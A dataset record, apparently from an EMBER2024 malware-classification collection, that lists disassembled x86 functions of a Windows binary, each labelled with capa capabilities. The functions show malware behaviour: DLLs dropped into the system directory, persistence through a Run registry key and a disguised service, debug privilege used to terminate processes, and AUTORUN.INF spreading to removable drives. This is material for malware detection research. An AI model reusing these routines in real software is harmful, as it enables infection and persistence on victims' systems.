joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402000
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4102f8
push 0x4093c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x130], edi
xor esi, esi
mov ebx, 0xd200
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.ODBC16.dll
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], edi
push edi
push 0x80
push 2
push edi
push 3
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x130], eax
cmp eax, 0xffffffff
je 0x4020ba
cmp ebx, esi
jbe 0x4020ae
push edi
lea eax, [ebp - 0x20]
push eax
mov eax, ebx
sub eax, esi
push eax
lea eax, [esi + 0x412604]
push eax
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4020ba
add esi, dword [ebp - 0x20]
mov dword [ebp - 0x12c], esi
jmp 0x40207e
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
call fcn.004020d6
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4020eb
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410308
push 0x4093c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x130], edi
xor esi, esi
mov ebx, 0xd200
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.msjdbc11.dll
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], edi
push edi
push 0x80
push 2
push edi
push 3
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x130], eax
cmp eax, 0xffffffff
je 0x4021a5
cmp ebx, esi
jbe 0x402199
push edi
lea eax, [ebp - 0x20]
push eax
mov eax, ebx
sub eax, esi
push eax
lea eax, [esi + 0x412604]
push eax
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4021a5
add esi, dword [ebp - 0x20]
mov dword [ebp - 0x12c], esi
jmp 0x402169
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
call fcn.004021c1
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4021d6
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410318
push 0x4093c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x130], edi
xor esi, esi
mov ebx, 0xd200
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x41f864
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], edi
push edi
push 0x80
push 2
push edi
push 3
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x130], eax
cmp eax, 0xffffffff
je 0x402290
cmp ebx, esi
jbe 0x402284
push edi
lea eax, [ebp - 0x20]
push eax
mov eax, ebx
sub eax, esi
push eax
lea eax, [esi + 0x412604]
push eax
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402290
add esi, dword [ebp - 0x20]
mov dword [ebp - 0x12c], esi
jmp 0x402254
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
call fcn.004022ac
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4022c1
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.MSSIGN30.DLL
push str.RUNDLL32.EXE
call esi
push str.__ondll_reg
push eax
call esi
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push 0x412040
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40231e
push 0x104
push esi
push 1
pop esi
push esi
push eax
push str.VFW_Encoder_Decoder_Settings
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402320
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x40232e
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push esi
push edi
push 9
mov esi, str.Rundll32.exe_msjdbc11.dll_ondll_server
pop ecx
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x3d]
rep stosd dword es:[edi], eax
xor esi, esi
push 2
push esi
push esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, esi
je 0x402395
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x64]
push esi
push eax
push 1
push 2
push 0x10
mov eax, str.Windows_Management_Protocol_v.0__experimental_
push 0xf01ff
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, esi
je 0x402395
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x402399
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea ecx, [ebp - 4]
xor eax, eax
push ecx
push eax
push eax
push 0x4023ca
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
mov dword [ebp - 0x10], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret

Function at 0x402853
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea ecx, [ebp - 4]
xor eax, eax
push ecx
push eax
push eax
push 0x402884
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
mov dword [ebp - 0x10], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret

Function at 0x402aca
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1214
call fcn.004095f0
push ebx
push esi
push edi
push 7
pop ecx
mov esi, str.UnknownProcess
lea edi, [ebp - 0x214]
push 0x7a
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
pop ecx
xor eax, eax
lea edi, [ebp - 0x1f6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1214]
push 0x1000
push eax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x402b1c
or eax, 0xffffffff
jmp 0x402bb0
mov esi, dword [ebp - 8]
mov dword [ebp - 4], 0
shr esi, 2
je 0x402ba4
lea edi, [ebp - 0x1214]
push dword [edi]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x402b84
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push 4
push eax
push ebx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x402b84
lea eax, [ebp - 0x214]
push 0x208
push eax
push dword [ebp - 0xc]
push ebx
call sub.PSAPI.DLL_GetModuleBaseNameW
push dword [ebp + 8]
lea eax, [ebp - 0x214]
push eax
call fcn.00409711
pop ecx
test eax, eax
pop ecx
je 0x402b91
inc dword [ebp - 4]
add edi, 4
cmp dword [ebp - 4], esi
jb 0x402b31
jmp 0x402ba7
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x1214]
jmp 0x402bb0
mov ebx, dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ffc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.0040345c
lea ecx, [ebp - 4]
xor eax, eax
push ecx
push eax
push eax
push 0x403032
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
mov dword [ebp - 0x10], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret

Function at 0x4033b4
Capabilities:
Get hostname
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
and byte [ebp - 0x14], 0
push edi
xor eax, eax
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ax, word [0x42e32c]
push 0x1f
mov word [ebp - 0x98], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x96]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x98]
push 0x80
push eax
call dword [sym.imp.WSOCK32.dll_gethostname]
test eax, eax
jne 0x403457
lea eax, [ebp - 0x98]
push esi
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x40344a
xor esi, esi
mov eax, dword [edi + 0xc]
mov eax, dword [eax + esi]
test eax, eax
je 0x40344a
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x14]
push str._d._d._d._d
push eax
call fcn.00409498
add esp, 0x18
add esi, 4
jmp 0x403417
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
pop esi
jmp 0x403459
xor eax, eax
pop edi
leave
ret

Function at 0x40345c
Capabilities:
Delete file

Disassembly:
mov eax, 0x1000
call fcn.004095f0
push ebx
push ebp
push esi
mov ebp, str.c:NetLog.txt
push 0x4120b0
push ebp
xor ebx, ebx
call fcn.00409220
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x4034bf
test byte [esi + 0xc], 0x10
jne 0x4034a9
push edi
mov edi, 0x1000
push esi
push edi
lea eax, [esp + 0x18]
push 1
push eax
call fcn.0040908c
add esp, 0x10
add ebx, edi
test byte [esi + 0xc], 0x10
je 0x40348f
pop edi
push esi
call fcn.00408e87
cmp ebx, 0xafc8
pop ecx
jle 0x4034bf
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
pop ebp
pop ebx
add esp, 0x1000
ret

Function at 0x4036fb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea ecx, [ebp - 4]
xor eax, eax
push ecx
push eax
push eax
push 0x4036f6
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
mov dword [ebp - 0x10], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret
Function at 0x403789
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410328
push 0x4093c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403811
push 1
pop esi
push esi
push str.SeDebugPrivilege
push dword [ebp - 0x20]
call fcn.0040372c
add esp, 0xc
test eax, eax
je 0x403811
push dword [ebp + 8]
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x24], eax
cmp eax, edi
je 0x403811
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x403811
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
call fcn.0040382e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403c20
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
cmp dword [ebp + 0xc], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x148]
push esi
push eax
jne 0x403c5a
push str..EXE
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [0x42e68c], eax
jne 0x403c66
push 1
pop eax
pop esi
pop ebx
leave
ret
push dword [0x42e68c]
call ebx
test eax, eax
je 0x403c53
mov eax, dword [ebp - 0x128]
cmp eax, dword [0x420190]
je 0x403cff
test byte [ebp - 0x148], 0x10
jne 0x403cff
lea eax, [ebp - 0x11c]
push 0x4201a4
push eax
call fcn.00409220
mov esi, eax
push 0
push 0x3c
push esi
call fcn.00409174
push esi
push 2
lea eax, [ebp - 8]
push 1
push eax
call fcn.0040908c
movzx eax, byte [ebp - 7]
movzx ecx, byte [ebp - 8]
shl eax, 8
or eax, ecx
push 0
push eax
push esi
call fcn.00409174
push 2
lea eax, [ebp - 8]
push 0
push eax
call fcn.00408800
push esi
push 2
lea eax, [ebp - 8]
push 1
push eax
call fcn.0040908c
add esp, 0x4c
push esi
call fcn.00408e87
cmp byte [ebp - 8], 0x4c
pop ecx
je 0x403cf9
cmp byte [ebp - 8], 0x4e
je 0x403cf9
cmp byte [ebp - 8], 0x50
jne 0x403cff
cmp byte [ebp - 7], 0x45
je 0x403d0b
lea eax, [ebp - 0x148]
push eax
jmp 0x403c5a
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.00408860
pop ecx
xor eax, eax
pop ecx
jmp 0x403c56
Function at 0x403d23
Capabilities:
Copy file
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
mov esi, str.C:AUTORUN.INF
lea edi, [ebp - 0x14]
mov eax, dword [0x420200]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov bl, byte [ebp + 8]
mov dword [ebp - 4], eax
movsw word es:[edi], word [esi]
lea eax, [ebp - 4]
mov byte [ebp - 4], bl
movsb byte es:[edi], byte [esi]
push eax
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 5
je 0x403e32
test eax, eax
je 0x403e32
cmp eax, 1
je 0x403e32
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x403e2e
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 0x14]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x2e4]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push str._s_s._s
push eax
call esi
movsx ebx, bl
push ebx
lea eax, [ebp - 0x118]
push str._c:COMMAND.EXE
push eax
call esi
add esp, 0x20
lea eax, [ebp - 0x118]
push 0
push eax
lea eax, [ebp - 0x2e4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403e2e
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x118]
push 7
push eax
call esi
lea eax, [ebp - 0x14]
push 0x4201e4
push eax
call fcn.00409220
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x403e2e
push str._AUTORUN__n
push edi
call fcn.0040a2c8
push ebx
push str.Open__c:COMMAND.EXE___StartExplorer_n
push edi
call fcn.0040a2c8
push edi
call fcn.00408e87
add esp, 0x18
lea eax, [ebp - 0x14]
push 7
push eax
call esi
xor eax, eax
jmp 0x403e35
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403e3a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea ecx, [ebp - 4]
xor eax, eax
push ecx
push eax
push eax
push 0x403e6b
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
mov dword [ebp - 0x10], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret
Function at 0x4040b6
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x764
push ebx
push esi
push edi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x10c]
push ebx
push eax
call fcn.00408800
add esp, 0xc
lea eax, [ebp - 0x10c]
push 0x412110
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
call fcn.00409241
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop ecx
mov dword [ebp - 4], ebx
push dword [ebp - 4]
lea eax, [ebp - 0x764]
push eax
call fcn.00403c20
pop ecx
test eax, eax
pop ecx
jne 0x4041a9
lea eax, [ebp - 0x55c]
push ebx
push eax
lea eax, [ebp - 0x764]
push ebx
push eax
call fcn.00403a80
lea eax, [ebp - 0x55c]
push str..ZMX
push eax
call fcn.00408870
add esp, 0x18
lea eax, [ebp - 0x55c]
push 1
push eax
lea eax, [ebp - 0x764]
push eax
call esi
test eax, eax
je 0x404166
lea eax, [ebp - 0x55c]
push 6
push eax
call edi
push 0x42e794
push 0x42e588
push 0x42e690
lea eax, [ebp - 0x55c]
push 0x420198
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x764]
push ebx
push eax
lea eax, [ebp - 0x55c]
push eax
call esi
lea eax, [ebp - 0x764]
push 0x80
push eax
call edi
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x56
jb 0x404103
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ebx, 0x103
push ebx
lea eax, [ebp - 0x10c]
push dword [ebp + 8]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x10c]
push eax
call esi
cmp byte [ebp + eax - 0x10d], 0x5c
lea eax, [ebp - 0x10c]
push eax
jne 0x4041ff
call esi
mov ecx, 0x104
sub ecx, eax
push ecx
push 0x41210c
jmp 0x40420e
call esi
mov ecx, 0x104
sub ecx, eax
push ecx
push 0x412108
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp + eax - 0x10c]
push eax
call edi
lea eax, [ebp - 0x354]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x404316
lea eax, [ebp - 0x328]
push 0x4120ac
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4042f5
lea eax, [ebp - 0x328]
push 0x412104
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4042f5
test byte [ebp - 0x354], 0x10
je 0x4042f5
push ebx
lea eax, [ebp - 0x214]
push dword [ebp + 8]
push eax
call edi
lea eax, [ebp - 0x214]
push eax
call esi
cmp byte [ebp + eax - 0x215], 0x5c
jne 0x4042ab
lea eax, [ebp - 0x214]
push eax
call esi
mov ecx, ebx
jmp 0x4042cb
lea eax, [ebp - 0x214]
push 0x412100
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x214]
push eax
call esi
mov ecx, 0x104
sub ecx, eax
lea eax, [ebp - 0x328]
push ecx
push eax
lea eax, [ebp - 0x214]
push eax
call esi
lea eax, [ebp + eax - 0x214]
push eax
call edi
lea eax, [ebp - 0x214]
push eax
call fcn.004040b6
pop ecx
lea eax, [ebp - 0x354]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x404241
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x404983
Capabilities:
Create thread

Disassembly:
push ecx
call fcn.0040614a
call fcn.004055df
lea eax, [esp]
push eax
xor eax, eax
push eax
push eax
push 0x4055f1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00406c16
call fcn.00406c2b
push 0x400
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4049a9

Function at 0x4049d7
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WSOCK32.dll_WSAStartup]
add esp, 0x190
ret

Function at 0x4049f1
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push eax
xor eax, eax
push eax
push eax
push 0x4049bb
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
pop ecx
ret

Function at 0x405459
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
and dword [esp], 0
push ebx
push ebp
push esi
push edi
mov dword [0x42e9b0], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004048ee
test eax, eax
jne 0x405498
push 0x800
call edi
push 1
call fcn.00406c21
mov dword [esp], 0x3800
jmp 0x405594
xor eax, eax
cmp dword [esp + 0x10], 1
sete al
push eax
call fcn.00406c21
xor esi, esi
pop ecx
xor ebx, ebx
xor ebp, ebp
mov dword [esp + 0x14], esi
mov eax, dword [0x42e7a4]
test eax, eax
je 0x40550a
inc ebx
cmp byte [eax + 8], 0
jne 0x4054d2
inc ebp
test esi, esi
je 0x4054d0
mov cl, byte [esi + 9]
cmp cl, byte [eax + 9]
jle 0x4054d2
mov esi, eax
mov ecx, dword [eax + 4]
cmp ecx, dword [esp + 0x14]
jb 0x4054df
mov dword [esp + 0x14], ecx
mov eax, dword [eax]
test eax, eax
jne 0x4054bc
cmp ebx, 0x1000
jl 0x40550a
call fcn.004053ff
cmp ebp, 0x200
jle 0x40550a
push 1
pop eax
push eax
mov dword [esp + 0x14], eax
call fcn.00406c21
pop ecx
jmp 0x40550f
and dword [esp + 0x10], 0
xor eax, eax
cmp ebp, eax
je 0x40555e
cmp esi, eax
je 0x40555e
cmp dword [0x42e9b0], 4
jb 0x405529
push 0x100
jmp 0x405594
lea ecx, [esp + 0x18]
mov byte [esi + 8], 1
push ecx
push eax
push esi
push 0x40559b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x405553
cmp eax, 0xffffffff
je 0x405553
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405522
mov byte [esi + 8], 2
push 0x400
jmp 0x405594
push eax
mov dword [esp + 0x14], 2
call fcn.00406c21
cmp ebx, 3
pop ecx
jl 0x405557
cmp dword [esp + 0x14], 0
je 0x405557
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x14]
cmp eax, 0x1770
jb 0x405557
call fcn.00405181
push 0x80
call edi
jmp 0x405475
Function at 0x405603
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp esi, ebx
je 0x4056ef
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
jl 0x4056ef
push 0x448
lea eax, [ebp - 0x448]
push ebx
push eax
call fcn.00408800
lea eax, [ebp - 0x448]
mov dword [ebp - 0x448], esi
push eax
call fcn.0040570f
lea eax, [ebp - 0x448]
push eax
call fcn.004057d1
lea eax, [ebp - 0x448]
push eax
call fcn.0040592b
lea eax, [ebp - 0x448]
push eax
call fcn.00405a38
add esp, 0x1c
test eax, eax
jne 0x4056ef
mov eax, dword [ebp - 0x8c]
push 3
shl eax, 2
cdq
pop ecx
idiv ecx
mov ecx, 0x400
add eax, 0x239f
cdq
idiv ecx
shl eax, 0xa
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x4056cc
mov byte [eax], bl
lea eax, [ebp - 0x448]
push eax
call fcn.00405cba
lea eax, [ebp - 0x448]
push eax
call fcn.00405dda
pop ecx
test eax, eax
pop ecx
je 0x4056f3
cmp byte [ebp - 0x292], bl
je 0x4056e1
lea eax, [ebp - 0x191]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 8], ebx
je 0x4056ef
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
jmp 0x40570b
cmp byte [ebp - 0x292], bl
je 0x405708
lea eax, [ebp - 0x191]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x405fc2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
add eax, 0x2b7
push edi
push edi
push 3
push edi
push 3
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x405ff9
push 1
pop eax
jmp 0x4060dd
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], edi
xor ebx, ebx
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 4], eax
jb 0x406032
lea eax, [ebp - 0x10]
push edi
push eax
lea eax, [ebp - 0x414]
push 0x400
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0x10], edi
je 0x406097
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
inc esi
inc dword [ebp - 4]
cmp esi, 3
mov al, byte [ebp + eax - 0x414]
mov byte [ebp + esi + 0xb], al
jne 0x406008
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.004060e0
pop ecx
xor esi, esi
pop ecx
mov eax, dword [ebp + 8]
mov cl, byte [ebp + esi - 8]
mov byte [ebx + eax], cl
inc ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x4c
jb 0x40607b
mov byte [ebx + eax], 0xd
inc ebx
mov dword [ebp - 0xc], edi
mov byte [ebx + eax], 0xa
inc ebx
inc esi
cmp esi, 4
jb 0x40605a
push 3
lea eax, [ebp + 0xc]
push edi
push eax
call fcn.00408800
add esp, 0xc
xor esi, esi
jmp 0x406008
cmp esi, edi
je 0x4060c9
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.004060e0
pop ecx
cmp esi, 3
pop ecx
jae 0x4060b3
mov byte [ebp - 5], 0x3d
cmp esi, 2
jae 0x4060bc
mov byte [ebp - 6], 0x3d
mov eax, dword [ebp + 8]
lea esi, [ebp - 8]
lea edi, [ebx + eax]
add ebx, 4
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
push dword [ebp - 0x14]
and byte [ebx + eax], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
pop edi
leave
ret